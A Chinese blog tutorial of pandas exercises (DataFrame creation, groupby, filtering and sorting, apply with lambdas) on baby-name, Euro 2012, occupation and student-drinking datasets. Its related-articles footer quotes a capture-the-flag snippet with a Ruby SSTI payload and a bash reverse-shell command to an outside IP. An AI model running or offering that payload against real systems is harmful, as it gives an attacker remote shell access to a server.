数据可视化(五):Pandas高级统计——函数映射、数据结构、分组聚合等问题解决,能否成为你的工作备用锦囊?

Tips:"分享是快乐的源泉💧,在我的博客里,不仅有知识的海洋🌊,还有满满的正能量加持💪,快来和我一起分享这份快乐吧😊!

喜欢我的博客的话,记得点个红心❤️和小关小注哦!您的支持是我创作的动力!数据源存放在我的资源下载区啦!

数据可视化(五):Pandas高级统计——函数映射、数据结构、分组聚合等问题解决,能否成为你的工作备用锦囊?

目录

    • 数据可视化(五):Pandas高级统计——函数映射、数据结构、分组聚合等问题解决,能否成为你的工作备用锦囊?
  • 1. pandas数据结构
    • 问题1:创建3个不同的Series,长度都是100。
    • 问题2:利用这3个Series作为3列创建一个DataFrame。
    • 问题3:将上面DataFrame的列名改为bedrs、bathrs和price_sqr_meter。
    • 问题4:利用上面3个Series作为1列创建一个DataFrame
    • 问题5:上面的DataFrame的index到99为止,请将其reindex为0~299。
  • 2. pandas统计
    • 问题1:删除列'Unnamed: 0' 和 'Id'。
    • 问题2:男孩和女孩的总数是多少?
    • 问题3:将数据按照Name分组统计出现数量,并按照降序排列。
    • 问题4:数据集中有多少不同名字?
    • 问题5: 出现频率最多和最少的名字是(可能数量不唯一,按排序结果)?
  • 3. pandas数据过滤与排序
    • 问题1:选择Goals列显示。
    • 问题2:多少队伍参加Euro2012?
    • 问题3:数据集中有多少列?
    • 问题4:选择Team、Yellow Cards、Red Cards三列形成新的DataFrame,命名为discipline。
    • 问题5:对discipline采用Red Cards以及Yellow Cards(先按Red Cards排再按Yellow Cards排)降序排序。
    • 问题6:计算Team的平均Yellow Cards数,四舍五入保留整数。
    • 问题7:将进球超过6(goals>6)的行找出来。
    • 问题8:找出G开头Team的所有行。
    • 问题9:选择除了最后三列以外的所有列。
    • 问题10:只显示England、Italy、Russia三队的Shooting Accuracy列。
  • 4. pandas数据分组
    • 问题1:计算每种职业的平均年龄。
    • 问题2:计算每种职业的男性占比,并从大到小排序。(难,选做)
    • 问题3: 对于每种职业,计算最小和最大年龄。
    • 问题4:按职业、性别分组,计算平均年龄。
    • 问题5:对于每种职业,显示男女性别占比。(难,选做)
  • 5. pandas函数映射
    • 问题1:切片列school到列guardian。
    • 问题2:创建lambda函数用于将字符串首字母大写,并应用到Mjob和Fjob列数据。
    • 问题3:创建函数is_legal(),并应用到数据集,返回一个新列legal_drinker,列元素值为布尔类型,True表示学生年龄大于等于17(合法饮酒),False表示小于17(不合法饮酒)。

1. pandas数据结构

import pandas as pd
import numpy as np

问题1:创建3个不同的Series,长度都是100。

- 第一个:每个元素是1~4(包含)随机整数
- 第二个:每个元素是1~3(包含)随机整数
- 第三个:每个元素是10000~20000(包含)随机整数
# 创建第一个Series,每个元素是1~4(包含)随机整数  
series1 = pd.Series(np.random.randint(1, 5, size=100))  
series1

# 创建第二个Series,每个元素是1~3(包含)随机整数  
series2 = pd.Series(np.random.randint(1, 4, size=100))  
series2

# 创建第三个Series,每个元素是10000~20000(包含)随机整数  
series3 = pd.Series(np.random.randint(10000, 20001, size=100)) 
series3

问题2:利用这3个Series作为3列创建一个DataFrame。

df = pd.DataFrame({  
    'Column1': series1,  
    'Column2': series2,  
    'Column3': series3  
})  
df.head()

问题3:将上面DataFrame的列名改为bedrs、bathrs和price_sqr_meter。

new_columns = ["bedrs","bathrs","price_sqr_meter"]
df.columns = new_columns
df.head()

问题4:利用上面3个Series作为1列创建一个DataFrame

# 使用 concat 函数将三个 Series 合并成一个新的 Series  
# ignore_index=True 参数用于重置合并后 Series 的索引  
combined_series = pd.concat([series1, series2, series3], ignore_index=True) 

combined_series

# 将 series 转化为 dataframe
df = pd.DataFrame({"Concat":combined_series})
df

问题5:上面的DataFrame的index到99为止,请将其reindex为0~299。

# 重新索引 df,使其索引从 0 到 299  
# 使用 NaN 填充新增的索引位置  
df_reindexed = df.reindex(range(300))  
  
# 打印重新索引后的 DataFrame  
df_reindexed

2. pandas统计

import pandas as pd

# 加载数据
# assets/US_Baby_Names_right.zip解压
df = pd.read_csv('assets/US_Baby_Names_right.csv') #婴儿名字数据
df.info()
df.head()

问题1:删除列’Unnamed: 0’ 和 ‘Id’。

df.drop(["Unnamed: 0","Id"],axis=1,inplace=True)
df.head()

问题2:男孩和女孩的总数是多少?

df['Gender'].value_counts()

问题3:将数据按照Name分组统计出现数量,并按照降序排列。

# 分组求和
df_groupby = df.groupby(by="Name")[["Count"]].sum()
# 排序
df_sort = df_groupby.sort_values(by="Count",ascending=False)
df_sort

问题4:数据集中有多少不同名字?

df["Name"].nunique()

问题5: 出现频率最多和最少的名字是(可能数量不唯一,按排序结果)?

# 频率最多
df_sort.head(1)

3. pandas数据过滤与排序

import pandas as pd 

# 加载数据
df = pd.read_csv('assets/Euro_2012_stats_TEAM.csv', sep = ',') # 2012欧洲杯统计数据
display(df.info())
df.head()

问题1:选择Goals列显示。

df[["Goals"]].head()

问题2:多少队伍参加Euro2012?

df["Team"].nunique()

在这里插入图片描述

问题3:数据集中有多少列?

df.shape[1]

在这里插入图片描述

问题4:选择Team、Yellow Cards、Red Cards三列形成新的DataFrame,命名为discipline。

discipline = df[["Team","Yellow Cards","Red Cards"]]
discipline.head()

问题5:对discipline采用Red Cards以及Yellow Cards(先按Red Cards排再按Yellow Cards排)降序排序。

discipline_sorted  = discipline.sort_values(by=["Red Cards","Yellow Cards"],ascending=False)
discipline_sorted.head() 

问题6:计算Team的平均Yellow Cards数,四舍五入保留整数。

discipline.groupby(by="Team")[["Yellow Cards"]].mean().round()

问题7:将进球超过6(goals>6)的行找出来。

df[df["Goals"]>6]

问题8:找出G开头Team的所有行。

df[df['Team'].str.startswith('G')] 

问题9:选择除了最后三列以外的所有列。

df.iloc[:,0:-3]

问题10:只显示England、Italy、Russia三队的Shooting Accuracy列。

selected_teams = df[df['Team'].isin(['England', 'Italy', 'Russia'])]  
  
# 只选择 "Shooting Accuracy" 列  
shooting_accuracy = selected_teams[["Team",'Shooting Accuracy']]  
  
shooting_accuracy

4. pandas数据分组

import pandas as pd 

# 加载数据
df = pd.read_csv('assets/u.user', sep = '|', index_col='user_id') # 职业数据
display(df.info())
df.head()

问题1:计算每种职业的平均年龄。

df.groupby(by="occupation").mean().head()

问题2:计算每种职业的男性占比,并从大到小排序。(难,选做)

import pandas as pd  
  
# 假设 df 是 DataFrame,包含 'Occupation' 和 'Gender' 列  
# 计算每种职业的男性数量  
male_counts = df[df['gender'] == 'M'].groupby('occupation')['gender'].count().reset_index(name='MaleCount')  
male_counts.head()

# 计算每种职业的总人数  
total_counts = df.groupby('occupation')['gender'].count().reset_index(name='TotalCount')  
total_counts.head()

# 合并两个结果,以计算男性占比  
occupation_stats = pd.merge(male_counts, total_counts, on='occupation')
occupation_stats.head()

# 计算男性占比  
occupation_stats['MalePercentage'] = (occupation_stats['MaleCount'] / occupation_stats['TotalCount']) * 100  
  
# 按男性占比从大到小排序  
occupation_stats_sorted = occupation_stats.sort_values(by='MalePercentage', ascending=False).reset_index()  
  
# 打印结果  
occupation_stats_sorted.head()

问题3: 对于每种职业,计算最小和最大年龄。

# 最小年龄,不能两个 []
df.groupby(by="occupation")["age"].min().reset_index(name='Min_Age').head()  

# 最大年龄,不能两个 []
df.groupby(by="occupation")["age"].max().reset_index(name='Max_Age').head()

问题4:按职业、性别分组,计算平均年龄。

df.groupby(by=["occupation","gender"])["age"].mean().reset_index(name= "Mean_Age").head()

问题5:对于每种职业,显示男女性别占比。(难,选做)

import pandas as pd  
  
# 假设 df 是你的 DataFrame,包含 'Occupation' 和 'Gender' 列  
# 计算每种职业的男性数量  
male_counts = df[df['gender'] == 'M'].groupby('occupation')['gender'].count().reset_index(name='MaleCount')  
male_counts.head()

# 计算每种职业的女性数量  
female_counts = df[df['gender'] == 'F'].groupby('occupation')['gender'].count().reset_index(name='FeMaleCount')  
female_counts.head()

# 合并两个结果,以计算男性女性占比  
occupation_stats = pd.merge(male_counts, female_counts, on='occupation')
occupation_stats.head()

# 计算男性占比  
occupation_stats['MalePercentage'] = (occupation_stats['MaleCount'] / (occupation_stats['MaleCount'] + occupation_stats['FeMaleCount']) ) * 100  
occupation_stats['FeMalePercentage'] = (occupation_stats['FeMaleCount'] / (occupation_stats['MaleCount'] + occupation_stats['FeMaleCount']) ) * 100  

# 按男性占比从大到小排序,并且不保留原来的索引  
occupation_stats_sorted = occupation_stats.sort_values(by='MalePercentage', ascending=False).reset_index(drop=True)  
  
# 打印结果  
occupation_stats_sorted.head()

5. pandas函数映射

import pandas as pd
import numpy

# 准备数据
df = pd.read_csv('assets/student-mat.csv') #美国学生饮酒消费数据 
display(df.info())
df.head()

问题1:切片列school到列guardian。

df.loc[:,"school":"guardian"]

问题2:创建lambda函数用于将字符串首字母大写,并应用到Mjob和Fjob列数据。

import pandas as pd  
   
# 创建一个lambda函数,用于将字符串的首字母大写  
capitalize_first_letter = lambda x: x[0].upper() + x[1:] if isinstance(x, str) else x  
  
# 应用这个函数到 'Mjob' 列  
df['Mjob'] = df['Mjob'].apply(capitalize_first_letter)  
  
# 应用这个函数到 'Fjob' 列  
df['Fjob'] = df['Fjob'].apply(capitalize_first_letter)  
  
# 查看修改后的DataFrame  
df[['Mjob', 'Fjob']]

问题3:创建函数is_legal(),并应用到数据集,返回一个新列legal_drinker,列元素值为布尔类型,True表示学生年龄大于等于17(合法饮酒),False表示小于17(不合法饮酒)。

import pandas as pd  
  
# 假设 df 是你的 DataFrame,并且它有一个名为 'age' 的列,表示学生的年龄  
  
# 定义 is_legal 函数  
def is_legal(age):  
    return age >= 17  
  
# 应用 is_legal 函数到 'age' 列,生成新的 'legal_drinker' 列  
df['legal_drinker'] = df['age'].apply(is_legal)  
  
# 查看新生成的 'legal_drinker' 列  
df.head()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/558861.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

js中let和var的区别

在JavaScript中,var、let和const都用于声明变量,但它们之间存在一些重要的区别。特别是let和var之间的区别,我们可以概括为以下几点: 作用域(Scope):var有函数作用域或全局作用域,而…

B-树 B+树与数据库原理

B树 引入 概念和性质 插入分析 总结 B树 B*树(了解) 数据库原理 数据库与B树的关系

【MySQL 数据宝典】【磁盘结构】- 003 双写缓冲区

一、双写缓冲区 ( Doublewrite Buffer Files) 1.1 背景介绍 写失效 (部分页失效) InnoDB的页和操作系统的页大小不一致,InnoDB页大小一般为16K,操作系统页大小为4K,InnoDB的页写入到磁盘时,一个页需要分4次写。如果存储引擎正在…

算法训练营day15

一、层序遍历 参考链接7.2 二叉树遍历 - Hello 算法 (hello-algo.com) 层序遍历本质上属于广度优先遍历,也称广度优先搜索, BFS通常借助队列的先入先出的特性实现 参考链接102. 二叉树的层序遍历 - 力扣(LeetCode) 像这种较为…

社交媒体数据恢复:与你科技

在数字时代,数据是我们生活中的重要组成部分。无论是个人照片、文档,还是企业的重要资料,数据在我们的生活中扮演着举足轻重的角色。然而,数据丢失的问题时常发生,给我们带来了很多麻烦。幸运的是,当下众多…

搭建HBase2.x完全分布式集群(CentOS 9 + Hadoop3.x)

Apache HBase™是一个分布式、可扩展、大数据存储的Hadoop数据库。 当我们需要对大数据进行随机、实时的读/写访问时,可以使用HBase。这个项目的目标是在通用硬件集群上托管非常大的表——数十亿行X数百万列。Apache HBase是一个开源、分布式、版本化的非关系数据库…

[Meachines][Easy]Perfection

Main $ nmap -sV -sC 10.10.11.253 --min-rate 1000 使用Ruby开发的,尝试Ruby的SSTI注入 x%0a<%25%3Dsystem("ping-c110.10.16.23");%25> $ echo "/bim/bash -i >& /dev/tcp/10.10.16.23/10032 0>&1"|base64 category1x%0a<%25%3…

sqli-labs靶场学习(一)

一.知识点 1.数据库 数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储&#xff0c;可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统&#xff0c;按照一定的逻辑结构组织数据&#xff0c;以方便高效地访问和维护。 2.数据库管…

RCE漏洞及其绕过——[SWPUCTF 2021 新生赛]easyrce、caidao、babyrce

目录 什么是Shell 1、Shell简介 2、印刷约定 一、什么是RCE 漏洞产生条件&#xff1a; 漏洞检测&#xff1a; 1.远程命令执行 system()函数&#xff1a; passthru()函数&#xff1a; exec()函数&#xff1a; 无回显 shell_exec()函数&#xff1a; 2.远程代码执行 e…

我的创作纪念日(256)

一、缘起——Why I choose CSDN 在大二升到大三的暑假期间&#xff0c;为了督促自己学习智能机器人这一领域的知识&#xff0c;啃下这块硬骨头&#xff0c;我决定一边学习&#xff0c;一边在CSDN这个平台上分享一些学习心得。当时我跟着韩顺平老师学习Linux系统&#xff0c;跟…

IP地址定位:揭秘精准定位的技术与应用

在数字化时代&#xff0c;IP地址已成为连接互联网世界的关键标识之一。但是&#xff0c;很多人对于IP地址的精准定位能力存在疑虑。本文将深入探讨IP地址定位的技术原理以及其在实际应用中的精确度。 IP地址查询&#xff1a;IP数据云 - 免费IP地址查询 - 全球IP地址定位平台 …

torchvision指定版本whl安装(Ubuntu20环境)

pytorch教程需要torchvision下载数据集&#xff0c;使用pip安装指定版本&#xff0c;首先使用conda list torch查看自己安装torch版本&#xff0c;我的pytorch版本1.9.0对应cuda版本11.1 在以下网址查找对应torchvision版本&#xff0c;https://pytorch.org/get-started/prev…

vue-cli2 与vue-cli3,vue2与vue3 初始化项目,本地vue项目,详细解析区别(2024-04-19)

目录 1、区别&#xff08;vue-cli2 与 vue-cli3 &#xff09; 2、例子1&#xff08;vue2项目&#xff09; 2.1 版本与命令行 2.2 项目本地截图 2.3 项目文件解析 &#xff08;1&#xff09;package.json 文件 &#xff08;2&#xff09;webpack.dev.conf.js文件 &#…

【备战算法岗】—— 控制模块复习(持续更新!!!)

1 控制理论基础 1.1 控制模块概述 输入&#xff1a;轨迹线Reference、地图信息、定位信息、车辆反馈信息 输出&#xff1a;刹车、油门、转向 CANBUS&#xff1a;车辆底盘交互协议 底盘、速度、四轮转速、健康状况、底盘报错、自动驾驶状态 运动学模型&#xff1a;刚体运动&a…

linux的线程概念

目录 1.原理 2.线程的周边概念 3.创建线程的接口 1.pthread_create 2.pthread_join 3.pthread_detach 4.终止线程 5.C11封装的多线程库 4.线程库的大概结构 5.__thread&#xff08;只能修饰内置类型&#xff09; 6.线程的互斥 1.了解原理 2.加锁 1.接口 2.代码示…

遍历取后端数据推送到地图上,实现图标点标记地图效果

遍历取后端数据推送到地图上&#xff0c;实现图标点标记地图效果 示例链接&#xff1a; 功能示例(Vue版) | Mars3D三维可视化平台 | 火星科技 踩坑注意点&#xff1a; 1. id: 1 是地图底图的id 后台也返回之后 id直接会有冲突 此时图标标记之后无法单击 相关代码&#xff1a…

异步 IO 机制 io_uring

一、io_uring 原理 如何解决频繁 copy 的问题 → mmap 内存映射解决。 submit queue 中的节点和 complete queue 中的节点共用一块内存&#xff0c;而不是把 submit queue 中的节点 copy 到 complete queue 中。 如何做到线程安全 → 无锁环形队列解决。 二、io_uring 使用 内…

了解 Python 底层的解释器 CPython 和 Python 的对象模型

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 一、CPython CPython 是 Python 编程语言的官方和最广泛使用的实现。它是用 C 语言编写的&#xff0c;因此得名 “CPython”。作为 Python 生态系统的核心&#xff0c;了解 CPython 的工作原理、主要特…

【新版】系统架构设计师 - 知识点 - 结构化开发方法

个人总结&#xff0c;仅供参考&#xff0c;欢迎加好友一起讨论 文章目录 架构 - 知识点 - 结构化开发方法结构化开发方法结构化分析结构化设计 数据流图和数据字典模块内聚类型与耦合类型 架构 - 知识点 - 结构化开发方法 结构化开发方法 分析阶段 工具&#xff1a;数据流图、…

如何实现文件上传到阿里云OSS!!!(结合上传pdf使用)

一、开通阿里云OSS对象存储服务 对象存储 OSS_云存储服务_企业数据管理_存储-阿里云阿里云对象存储 OSS 是一款海量、安全、低成本、高可靠的云存储服务&#xff0c;提供 99.995 % 的服务可用性和多种存储类型&#xff0c;适用于数据湖存储&#xff0c;数据迁移&#xff0c;企…
最新文章